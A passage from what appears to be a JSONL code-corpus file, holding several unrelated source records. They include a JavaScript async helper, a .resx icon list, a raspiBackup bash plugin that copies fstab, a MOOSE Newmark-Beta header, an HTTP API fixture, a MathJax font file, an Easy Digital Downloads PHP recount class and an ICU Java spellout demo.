(!arr.length || limit <= 0) {\n return callback();\n }\n\n var completed = 0;\n var started = 0;\n var running = 0;\n\n (function replenish () {\n if (completed >= arr.length) {\n return callback();\n }\n\n while (running < limit && started < arr.length) {\n started += 1;\n running += 1;\n iterator(arr[started - 1], function (err) {\n\n if (err) {\n callback(err);\n callback = function () {};\n } else {\n completed += 1;\n running -= 1;\n if (completed >= arr.length) {\n callback();\n } else {\n replenish();\n }\n }\n });\n }\n })();\n};\n\nvar retry = function (times, iterator, callback) {\n var next = function (index) {\n iterator(function (err, data) {\n if (err && index < times) {\n next(index + 1);\n } else {\n callback(err, data);\n }\n });\n };\n if (times < 1) {\n callback();\n } else {\n next(1);\n }\n};\n\nvar async = {\n eachLimit: eachLimit,\n retry: retry\n};\n\nmodule.exports = async;"} +{"text": "\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n text/microsoft-resx\n \n \n 2.0\n \n \n System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n \n \n System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n \n \n \n ..\\icons\\arrow-down-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\arrow-left-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\arrow-right-24x24.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\arrow-right-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\arrow-up-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\clean-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\cloud-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\download-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\folder-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\gear-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\generic-file.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\generic-folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\github.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\graphics-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\loading.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\logout-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\pause-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\play-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\refresh-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\remove-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\search-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\upload-2-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\upload-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\user-32x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n \n ..\\icons\\wait_bg.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\n \n"} +{"text": "#!/bin/bash\n#######################################################################################################################\n#\n# Sample plugin for raspiBackup.sh\n# called before dd, tar or rsync backup is started\n#\n# Function: Copy /etc/fstab into backupdirectory\n#\n# See http://www.linux-tips-and-tricks.de/raspiBackup for additional information\n#\n#######################################################################################################################\n#\n# Copyright (c) 2017 framp at linux-tips-and-tricks dot de\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .#\n#\n#######################################################################################################################\n\nGIT_DATE=\"$Date: 2020-05-06 20:19:52 +0200$\"\nGIT_COMMIT=\"$Sha1: 0730e99$\"\n\n# set any messages and prefix message name with ext_ and some unique prefix to use a different namespace than the script\nMSG_EXT_FSTAB_COPY=\"ext_fstab_copy\"\nMSG_EN[$MSG_EXT_FSTAB_COPY]=\"RBK1005I: Copy %s to %s\"\nMSG_DE[$MSG_EXT_FSTAB_COPY]=\"RBK1005I: Kopiere %s in %s\"\n\nFSTAB_FILENAME=\"/etc/fstab\"\nFSTAB_TARGET_DIR=\"raspiBackup/extensionSaveArea\"\nTARGET_DIR=\"$BACKUPTARGET_DIR/$FSTAB_TARGET_DIR\"\n\n# write message to console\nwriteToConsole $MSG_LEVEL_MINIMAL $MSG_EXT_FSTAB_COPY \"$FSTAB_FILENAME\" \"$TARGET_DIR\"\n\nif [[ -f \"$FSTAB_FILENAME\" ]]; then\n\tmkdir -p \"$TARGET_DIR\"\n\textrc=$?\n\t[[ $extrc != 0 ]] && return $extrc\n\tcp \"$FSTAB_FILENAME\" \"$TARGET_DIR\"\n\tls -la \"$TARGET_DIR\"\n\treturn $?\nelse\n\treturn 1\t// terminate raspiBackup\nfi\n\n"} +{"text": "//* This file is part of the MOOSE framework\n//* https://www.mooseframework.org\n//*\n//* All rights reserved, see COPYRIGHT for full restrictions\n//* https://github.com/idaholab/moose/blob/master/COPYRIGHT\n//*\n//* Licensed under LGPL 2.1, please see LICENSE for details\n//* https://www.gnu.org/licenses/lgpl-2.1.html\n\n#pragma once\n\n#include \"TimeIntegrator.h\"\n#include \"MathUtils.h\"\n\nclass NewmarkBeta;\n\ntemplate <>\nInputParameters validParams();\n\n/**\n * Newmark-Beta time integration method\n */\nclass NewmarkBeta : public TimeIntegrator\n{\npublic:\n static InputParameters validParams();\n\n NewmarkBeta(const InputParameters & parameters);\n virtual ~NewmarkBeta();\n\n virtual int order() override { return 1; }\n virtual void computeTimeDerivatives() override;\n virtual void computeADTimeDerivatives(DualReal & ad_u_dot,\n const dof_id_type & dof) const override;\n virtual void postResidual(NumericVector & residual) override;\n\nprotected:\n /**\n * Helper function that actually does the math for computing the time derivative\n */\n template \n void computeTimeDerivativeHelper(T & u_dot,\n const T2 & u_old,\n const T3 & u_dot_old,\n T4 & u_dotdot,\n const T5 & u_dotdot_old) const;\n\n /// Newmark time integration parameter-beta\n Real _beta;\n\n /// Newmark time integration parameter-gamma\n Real _gamma;\n\n /// solution vector for \\f$ {du^dotdot}\\over{du} \\f$\n Real & _du_dotdot_du;\n};\n\ntemplate \nvoid\nNewmarkBeta::computeTimeDerivativeHelper(\n T & u_dot, const T2 & u_old, const T3 & u_dot_old, T4 & u_dotdot, const T5 & u_dotdot_old) const\n{\n // compute second derivative\n // according to Newmark-Beta method\n // u_dotdot = first_term - second_term - third_term\n // first_term = (u - u_old) / beta / dt ^ 2\n // second_term = u_dot_old / beta / dt\n // third_term = u_dotdot_old * (1 / 2 / beta - 1)\n u_dotdot -= u_old;\n u_dotdot *= 1.0 / _beta / _dt / _dt;\n MathUtils::addScaled(-1.0 / _beta / _dt, u_dot_old, u_dotdot);\n MathUtils::addScaled(-0.5 / _beta + 1.0, u_dotdot_old, u_dotdot);\n\n // compute first derivative\n // according to Newmark-Beta method\n // u_dot = first_term + second_term + third_term\n // first_term = u_dot_old\n // second_term = u_dotdot_old * (1 - gamma) * dt\n // third_term = u_dotdot * gamma * dt\n u_dot = u_dot_old;\n MathUtils::addScaled((1.0 - _gamma) * _dt, u_dotdot_old, u_dot);\n MathUtils::addScaled(_gamma * _dt, u_dotdot, u_dot);\n}\n"} +{"text": "HTTP/1.1 200 OK\nServer: nginx\nDate: Thu, 04 Feb 2016 14:07:19 GMT\nContent-Type: application/json; charset=utf-8\nTransfer-Encoding: chunked\nConnection: keep-alive\nStatus: 200 OK\nX-RateLimit-Limit: 4000\nX-RateLimit-Remaining: 3993\nX-RateLimit-Reset: 1454596043\nETag: W/\"3f10aae0cf0f0b81bdb4f58786ee1750\"\nCache-Control: max-age=0, private, must-revalidate\nX-Request-Id: 6e3aa9d0-cb95-4186-93b0-630da372de86\nX-Runtime: 0.026287\nStrict-Transport-Security: max-age=31536000\n\n{\"data\":[{\"id\":17702,\"domain_id\":228963,\"from\":\".*@a-domain.com\",\"to\":\"jane.smith@example.com\",\"created_at\":\"2016-02-04T13:59:29Z\",\"updated_at\":\"2016-02-04T13:59:29Z\"},{\"id\":17703,\"domain_id\":228963,\"from\":\"john@a-domain.com\",\"to\":\"john@example.com\",\"created_at\":\"2016-02-04T14:07:13Z\",\"updated_at\":\"2016-02-04T14:07:13Z\"}],\"pagination\":{\"current_page\":1,\"per_page\":30,\"total_entries\":2,\"total_pages\":1}}\n"} +{"text": "/*\n * /MathJax/jax/output/SVG/fonts/TeX/Main/Italic/MathOperators.js\n *\n * Copyright (c) 2009-2015 The MathJax Consortium\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nMathJax.Hub.Insert(MathJax.OutputJax.SVG.FONTDATA.FONTS[\"MathJax_Main-italic\"],{8710:[716,0,818,70,751,\"\"]});MathJax.Ajax.loadComplete(MathJax.OutputJax.SVG.fontDir+\"/Main/Italic/MathOperators.js\");\n"} +{"text": "customer_id );\n\t\t$payments = $this->get_stored_data( 'edd_recount_customer_payments_' . $customer->id, array() );\n\n\t\t$offset = ( $this->step - 1 ) * $this->per_step;\n\t\t$step_items = array_slice( $payments, $offset, $this->per_step );\n\n\t\tif ( count( $step_items ) > 0 ) {\n\t\t\t$pending_total = (float) $this->get_stored_data( 'edd_stats_customer_pending_total' . $customer->id, 0 );\n\t\t\t$step_total = 0;\n\n\t\t\t$found_payment_ids = $this->get_stored_data( 'edd_stats_found_payments_' . $customer->id, array() );\n\n\t\t\tforeach ( $step_items as $payment ) {\n\t\t\t\t$payment = get_post( $payment->ID );\n\n\t\t\t\tif ( is_null( $payment ) || is_wp_error( $payment ) || 'edd_payment' !== $payment->post_type ) {\n\n\t\t\t\t\t$missing_payments = $this->get_stored_data( 'edd_stats_missing_payments' . $customer->id, array() );\n\t\t\t\t\t$missing_payments[] = $payment->ID;\n\t\t\t\t\t$this->store_data( 'edd_stats_missing_payments' . $customer->id, $missing_payments );\n\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t$should_process_payment = 'publish' == $payment->post_status || 'revoked' == $payment->post_status ? true : false;\n\t\t\t\t$should_process_payment = apply_filters( 'edd_customer_recount_should_process_payment', $should_process_payment, $payment );\n\n\t\t\t\tif( true === $should_process_payment ) {\n\n\t\t\t\t\t$found_payment_ids[] = $payment->ID;\n\n\t\t\t\t\tif ( apply_filters( 'edd_customer_recount_sholud_increase_value', true, $payment ) ) {\n\t\t\t\t\t\t$payment_amount = edd_get_payment_amount( $payment->ID );\n\t\t\t\t\t\t$step_total += $payment_amount;\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t$updated_total = $pending_total + $step_total;\n\t\t\t$this->store_data( 'edd_stats_customer_pending_total' . $customer->id, $updated_total );\n\t\t\t$this->store_data( 'edd_stats_found_payments_' . $customer->id, $found_payment_ids );\n\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\n\t}\n\n\t/**\n\t * Return the calculated completion percentage\n\t *\n\t * @since 2.5\n\t * @return int\n\t */\n\tpublic function get_percentage_complete() {\n\n\t\t$payments = $this->get_stored_data( 'edd_recount_customer_payments_' . $this->customer_id, array() );\n\t\t$total = count( $payments );\n\n\t\t$percentage = 100;\n\n\t\tif( $total > 0 ) {\n\t\t\t$percentage = ( ( $this->per_step * $this->step ) / $total ) * 100;\n\t\t}\n\n\t\tif( $percentage > 100 ) {\n\t\t\t$percentage = 100;\n\t\t}\n\n\t\treturn $percentage;\n\t}\n\n\t/**\n\t * Set the properties specific to the payments export\n\t *\n\t * @since 2.5\n\t * @param array $request The Form Data passed into the batch processing\n\t */\n\tpublic function set_properties( $request ) {\n\t\t$this->customer_id = isset( $request['customer_id'] ) ? sanitize_text_field( $request['customer_id'] ) : false;\n\t}\n\n\t/**\n\t * Process a step\n\t *\n\t * @since 2.5\n\t * @return bool\n\t */\n\tpublic function process_step() {\n\n\t\tif ( ! $this->can_export() ) {\n\t\t\twp_die( __( 'You do not have permission to modify this data.', 'easy-digital-downloads' ), __( 'Error', 'easy-digital-downloads' ), array( 'response' => 403 ) );\n\t\t}\n\n\t\t$had_data = $this->get_data();\n\n\t\tif( $had_data ) {\n\t\t\t$this->done = false;\n\t\t\treturn true;\n\t\t} else {\n\t\t\t$customer = new EDD_Customer( $this->customer_id );\n\t\t\t$payment_ids = $this->get_stored_data( 'edd_stats_found_payments_' . $customer->id, array() );\n\t\t\t$this->delete_data( 'edd_stats_found_payments_' . $customer->id );\n\n\t\t\t$removed_payments = array_unique( $this->get_stored_data( 'edd_stats_missing_payments' . $customer->id, array() ) );\n\n\t\t\t// Find non-existing payments (deleted) and total up the purchase count\n\t\t\t$purchase_count = 0;\n\t\t\tforeach( $payment_ids as $key => $payment_id ) {\n\t\t\t\tif ( in_array( $payment_id, $removed_payments ) ) {\n\t\t\t\t\tunset( $payment_ids[ $key ] );\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t$payment = get_post( $payment_id );\n\t\t\t\tif ( apply_filters( 'edd_customer_recount_sholud_increase_count', true, $payment ) ) {\n\t\t\t\t\t$purchase_count++;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$this->delete_data( 'edd_stats_missing_payments' . $customer->id );\n\n\t\t\t$pending_total = $this->get_stored_data( 'edd_stats_customer_pending_total' . $customer->id, 0 );\n\t\t\t$this->delete_data( 'edd_stats_customer_pending_total' . $customer->id );\n\t\t\t$this->delete_data( 'edd_recount_customer_stats_' . $customer->id );\n\t\t\t$this->delete_data( 'edd_recount_customer_payments_' . $this->customer_id );\n\n\t\t\t$payment_ids = implode( ',', $payment_ids );\n\t\t\t$customer->update( array( 'payment_ids' => $payment_ids, 'purchase_count' => $purchase_count, 'purchase_value' => $pending_total ) );\n\n\t\t\t$this->done = true;\n\t\t\t$this->message = __( 'Customer stats successfully recounted.', 'easy-digital-downloads' );\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tpublic function headers() {\n\t\tignore_user_abort( true );\n\n\t\tif ( ! edd_is_func_disabled( 'set_time_limit' ) ) {\n\t\t\tset_time_limit( 0 );\n\t\t}\n\t}\n\n\t/**\n\t * Perform the export\n\t *\n\t * @since 2.5\n\t * @return void\n\t */\n\tpublic function export() {\n\n\t\t// Set headers\n\t\t$this->headers();\n\n\t\tedd_die();\n\t}\n\n\t/**\n\t * Zero out the data on step one\n\t *\n\t * @since 2.5\n\t * @return void\n\t */\n\tpublic function pre_fetch() {\n\t\tif ( $this->step === 1 ) {\n\t\t\t$allowed_payment_status = apply_filters( 'edd_recount_customer_payment_statuses', edd_get_payment_status_keys() );\n\n\t\t\t// Before we start, let's zero out the customer's data\n\t\t\t$customer = new EDD_Customer( $this->customer_id );\n\t\t\t$customer->update( array( 'purchase_value' => edd_format_amount( 0 ), 'purchase_count' => 0 ) );\n\n\t\t\t$attached_payment_ids = explode( ',', $customer->payment_ids );\n\n\t\t\t$attached_args = array(\n\t\t\t\t'post__in' => $attached_payment_ids,\n\t\t\t\t'number' => -1,\n\t\t\t\t'status' => $allowed_payment_status,\n\t\t\t);\n\n\t\t\t$attached_payments = edd_get_payments( $attached_args );\n\n\t\t\t$unattached_args = array(\n\t\t\t\t'post__not_in' => $attached_payment_ids,\n\t\t\t\t'number' => -1,\n\t\t\t\t'status' => $allowed_payment_status,\n\t\t\t\t'meta_query' => array(\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'key' => '_edd_payment_user_email',\n\t\t\t\t\t\t'value' => $customer->email,\n\t\t\t\t\t)\n\t\t\t\t),\n\t\t\t);\n\n\t\t\t$unattached_payments = edd_get_payments( $unattached_args );\n\n\t\t\t$payments = array_merge( $attached_payments, $unattached_payments );\n\n\t\t\t$this->store_data( 'edd_recount_customer_payments_' . $customer->id, $payments );\n\t\t}\n\t}\n\n\t/**\n\t * Given a key, get the information from the Database Directly\n\t *\n\t * @since 2.5\n\t * @param string $key The option_name\n\t * @return mixed Returns the data from the database\n\t */\n\tprivate function get_stored_data( $key, $default = false ) {\n\t\tglobal $wpdb;\n\t\t$value = $wpdb->get_var( $wpdb->prepare( \"SELECT option_value FROM $wpdb->options WHERE option_name = '%s'\", $key ) );\n\n\t\tif ( empty( $value ) ) {\n\t\t\treturn $default;\n\t\t}\n\n\t\t$maybe_json = json_decode( $value );\n\t\tif ( ! is_null( $maybe_json ) && ! is_numeric( $value ) ) {\n\t\t\t$value = $maybe_json;\n\t\t}\n\n\t\treturn $value;\n\t}\n\n\t/**\n\t * Give a key, store the value\n\t *\n\t * @since 2.5\n\t * @param string $key The option_name\n\t * @param mixed $value The value to store\n\t * @return void\n\t */\n\tprivate function store_data( $key, $value ) {\n\t\tglobal $wpdb;\n\n\t\t$value = is_array( $value ) ? wp_json_encode( $value ) : esc_attr( $value );\n\n\t\t$data = array(\n\t\t\t'option_name' => $key,\n\t\t\t'option_value' => $value,\n\t\t\t'autoload' => 'no',\n\t\t);\n\n\t\t$formats = array(\n\t\t\t'%s', '%s', '%s',\n\t\t);\n\n\t\t$wpdb->replace( $wpdb->options, $data, $formats );\n\t}\n\n\t/**\n\t * Delete an option\n\t *\n\t * @since 2.5\n\t * @param string $key The option_name to delete\n\t * @return void\n\t */\n\tprivate function delete_data( $key ) {\n\t\tglobal $wpdb;\n\t\t$wpdb->delete( $wpdb->options, array( 'option_name' => $key ) );\n\t}\n\n}\n"} +{"text": "// © 2016 and later: Unicode, Inc. and others.\n// License & terms of use: http://www.unicode.org/copyright.html\n/*\n *******************************************************************************\n * Copyright (C) 1996-2010, International Business Machines Corporation and *\n * others. All Rights Reserved. *\n *******************************************************************************\n */\npackage com.ibm.icu.dev.demo.rbnf;\n\nimport java.awt.BorderLayout;\nimport java.awt.Button;\nimport java.awt.CardLayout;\nimport java.awt.Checkbox;\nimport java.awt.Choice;\nimport java.awt.Component;\nimport java.awt.Dimension;\nimport java.awt.Font;\nimport java.awt.FontMetrics;\nimport java.awt.Frame;\nimport java.awt.Graphics;\nimport java.awt.GridLayout;\nimport java.awt.Panel;\nimport java.awt.ScrollPane;\nimport java.awt.TextArea;\nimport java.awt.TextComponent;\nimport java.awt.TextField;\nimport java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\nimport java.awt.event.FocusAdapter;\nimport java.awt.event.FocusEvent;\nimport java.awt.event.FocusListener;\nimport java.awt.event.ItemEvent;\nimport java.awt.event.ItemListener;\nimport java.awt.event.KeyAdapter;\nimport java.awt.event.KeyEvent;\nimport java.awt.event.KeyListener;\nimport java.awt.event.TextEvent;\nimport java.awt.event.TextListener;\nimport java.awt.event.WindowAdapter;\nimport java.awt.event.WindowEvent;\nimport java.text.BreakIterator;\nimport java.text.DecimalFormat;\nimport java.text.ParsePosition;\nimport java.util.Locale;\n\nimport com.ibm.icu.dev.demo.impl.DemoApplet;\nimport com.ibm.icu.math.BigDecimal;\nimport com.ibm.icu.text.RuleBasedNumberFormat;\n\npublic class RbnfDemo extends DemoApplet {\n /**\n * For serialization\n */\n private static final long serialVersionUID = -9119861296873763536L;\n\n /**\n * Puts a copyright in the .class file\n */\n// private static final String copyrightNotice\n// = \"Copyright \\u00a91997-1998 IBM Corp. All rights reserved.\";\n\n /*\n * code to run the demo as an application\n */\n public static void main(String[] argv) {\n new RbnfDemo().showDemo();\n }\n\n @Override\n protected Dimension getDefaultFrameSize(DemoApplet applet, Frame f) {\n return new Dimension(430,270);\n }\n\n @Override\n protected Frame createDemoFrame(DemoApplet applet) {\n final Frame window = new Frame(\"Number Spellout Demo\");\n window.setSize(800, 600);\n window.setLayout(new BorderLayout());\n\n Panel mainPanel = new Panel();\n mainPanel.setLayout(new GridLayout(1,2));\n\n commentaryField = new TextArea(\"\", 0, 0, TextArea.SCROLLBARS_VERTICAL_ONLY);\n commentaryField.setSize(800, 50);\n commentaryField.setText(RbnfSampleRuleSets.sampleRuleSetCommentary[0]);\n commentaryField.setEditable(false);\n commentaryField.setFont(new Font(\"Helvetica\", Font.PLAIN, 14));\n\n spelloutFormatter = new RuleBasedNumberFormat(RbnfSampleRuleSets.usEnglish, Locale.US);\n spelloutFormatter.setLenientParseMode(lenientParse);\n populateRuleSetMenu();\n numberFormatter = new DecimalFormat(\"#,##0.##########\");\n parsePosition = new ParsePosition(0);\n theNumber = BigDecimal.ZERO;\n\n numberField = new TextField();\n numberField.setFont(new Font(\"Serif\", Font.PLAIN, 24));\n textField = new DemoTextFieldHolder();\n textField.setFont(new Font(\"Serif\", Font.PLAIN, 24));\n rulesField = new DemoTextFieldHolder();\n rulesField.setFont(new Font(\"Serif\", Font.PLAIN, 14));\n lenientParseButton = new Checkbox(\"Lenient parse\", lenientParse);\n\n numberField.addTextListener(new TextListener() {\n @Override\n public void textValueChanged(TextEvent e) {\n if (!numberFieldHasFocus)\n return;\n\n String fieldText = ((TextComponent)(e.getSource())).getText();\n parsePosition.setIndex(0);\n Number temp = numberFormatter.parse(fieldText, parsePosition);\n if (temp == null || parsePosition.getIndex() == 0) {\n theNumber = BigDecimal.ZERO;\n textField.setText(\"PARSE ERROR\");\n }\n else {\n theNumber = new BigDecimal(temp instanceof Long ? temp.longValue() : temp.doubleValue());\n textField.setText(spelloutFormatter.format(\n theNumber.scale() == 0 ? theNumber.longValue() : theNumber.doubleValue(), ruleSetName));\n }\n }\n } );\n\n numberField.addFocusListener(new FocusAdapter() {\n @Override\n public void focusLost(FocusEvent e) {\n numberFieldHasFocus = false;\n numberField.setText(numberFormatter.format(theNumber));\n }\n\n @Override\n public void focusGained(FocusEvent e) {\n numberFieldHasFocus = true;\n numberField.selectAll();\n }\n } );\n\n textField.addKeyListener(new KeyAdapter() {\n @Override\n public void keyTyped(KeyEvent e) {\n if (e.getKeyChar() == '\\t') {\n String fieldText = ((TextComponent)(e.getSource())).getText();\n parsePosition.setIndex(0);\n theNumber = new BigDecimal(spelloutFormatter.parse(fieldText, parsePosition)\n .doubleValue());\n if (parsePosition.getIndex() == 0) {\n theNumber = BigDecimal.ZERO;\n numberField.setText(\"PARSE ERROR\");\n textField.selectAll();\n }\n else if (parsePosition.getIndex() < fieldText.length()) {\n textField.select(parsePosition.getIndex(), fieldText.length());\n numberField.setText(numberFormatter.format(theNumber));\n }\n else {\n textField.selectAll();\n numberField.setText(numberFormatter.format(theNumber));\n }\n e.consume();\n }\n }\n } );\n\n textField.addFocusListener(new FocusAdapter() {\n @Override\n public void focusLost(FocusEvent e) {\n String fieldText = ((TextComponent)(e.getSource())).getText();\n parsePosition.setIndex(0);\n theNumber = new BigDecimal(spelloutFormatter.parse(fieldText, parsePosition)\n .doubleValue());\n if (parsePosition.getIndex() == 0)\n numberField.setText(\"PARSE ERROR\");\n else\n numberField.setText(numberFormatter.format(theNumber));\n textField.setText(textField.getText()); // textField.repaint() didn't work right\n }\n\n @Override\n public void focusGained(FocusEvent e) {\n textField.selectAll();\n }\n } );\n\n rulesField.addKeyListener(new KeyAdapter() {\n @Override\n public void keyTyped(KeyEvent e) {\n if (e.getKeyChar() == '\\t') {\n String fieldText = ((TextComponent)(e.getSource())).getText();\n if (formatterMenu.getSelectedItem().equals(\"Custom\") || !fieldText.equals(\n RbnfSampleRuleSets.sampleRuleSets[formatterMenu.getSelectedIndex()])) {\n try {\n RuleBasedNumberFormat temp = new RuleBasedNumberFormat(fieldText);\n temp.setLenientParseMode(lenientParse);\n populateRuleSetMenu();\n spelloutFormatter = temp;\n customRuleSet = fieldText;\n formatterMenu.select(\"Custom\");\n commentaryField.setText(RbnfSampleRuleSets.\n sampleRuleSetCommentary[RbnfSampleRuleSets.\n sampleRuleSetCommentary.length - 1]);\n redisplay();\n }\n catch (Exception x) {\n textField.setText(x.toString());\n }\n }\n e.consume();\n }\n }\n } );\n\n rulesField.addFocusListener(new FocusAdapter() {\n @Override\n public void focusLost(FocusEvent e) {\n String fieldText = ((TextComponent)(e.getSource())).getText();\n if (formatterMenu.getSelectedItem().equals(\"Custom\") || !fieldText.equals(\n RbnfSampleRuleSets.sampleRuleSets[formatterMenu.getSelectedIndex()])) {\n try {\n RuleBasedNumberFormat temp = new RuleBasedNumberFormat(fieldText);\n temp.setLenientParseMode(lenientParse);\n populateRuleSetMenu();\n spelloutFormatter = temp;\n customRuleSet = fieldText;\n formatterMenu.select(\"Custom\");\n redisplay();\n }\n catch (Exception x) {\n textField.setText(x.toString());\n }\n }\n rulesField.setText(rulesField.getText()); // rulesField.repaint() didn't work right\n }\n } );\n\n lenientParseButton.addItemListener(new ItemListener() {\n @Override\n public void itemStateChanged(ItemEvent e) {\n lenientParse = lenientParseButton.getState();\n spelloutFormatter.setLenientParseMode(lenientParse);\n }\n } );\n\n numberField.setText(numberFormatter.format(theNumber));\n numberField.selectAll();\n textField.setText(spelloutFormatter\n .format(theNumber.scale() == 0 ? theNumber.longValue() : theNumber.doubleValue(), ruleSetName));\n\n Panel leftPanel = new Panel();\n leftPanel.setLayout(new BorderLayout());\n Panel panel = new Panel();\n panel.setLayout(new BorderLayout());\n Panel panel1 = new Panel();\n panel1.setLayout(new GridLayout(3, 1));\n panel1.add(new Panel());\n panel1.add(numberField, \"Center\");\n panel1.add(lenientParseButton);\n panel.add(panel1, \"Center\");\n Panel panel2 = new Panel();\n panel2.setLayout(new GridLayout(3, 3));\n Button button = new Button(\"+100\");\n button.addActionListener( new ActionListener() {\n @Override\n public void actionPerformed(ActionEvent e) {\n roll(100);\n }\n } );\n panel2.add(button);\n button = new Button(\"+10\");\n button.addActionListener( new ActionListener() {\n @Override\n public void actionPerformed(ActionEvent e) {\n roll(10);\n }\n } );\n panel2.add(button);\n button = new Button(\"+1\");\n button.addActionListener( new ActionListener() {\n @Override\n public void actionPerformed(ActionEvent e) {\n roll(1);\n }\n } );\n panel2.add(button);\n button = new Button(\"<\");\n button.addActionListener( new ActionListener() {\n @Override\n public void actionPerformed(ActionEvent e) {\n theNumber = new BigDecimal(theNumber.toString()).multiply(new BigDecimal(\"10\"));\n redisplay();\n }\n } );\n panel2.add(button);\n panel2.add(new Panel());\n button = new Button(\">\");\n button.addActionListener( new ActionListener() {\n @Override\n public void actionPerformed(ActionEvent e) {\n theNumber = new BigDecimal(theNumber.toString()).multiply(new BigDecimal(\"0.1\"));\n redisplay();\n }\n } );\n panel2.add(button);\n button = new Button(\"-100\");\n button.addActionListener( new ActionListener() {\n @Override\n public void actionPerformed(ActionEvent e) {\n roll(-100);\n }\n } );\n panel2.add(button);\n button = new Button(\"-10\");\n button.addActionListener( new ActionListener() {\n @Override\n public void actionPerformed(ActionEvent e) {\n roll(-10);\n }\n } );\n panel2.add(button);\n button = new Button(\"-1\");\n button.addActionListener( new ActionListener() {\n @Override\n public void actionPerformed(ActionEvent e) {\n roll(-1);\n }\n } );\n panel2.add(button);\n panel.add(panel2, \"East\");\n 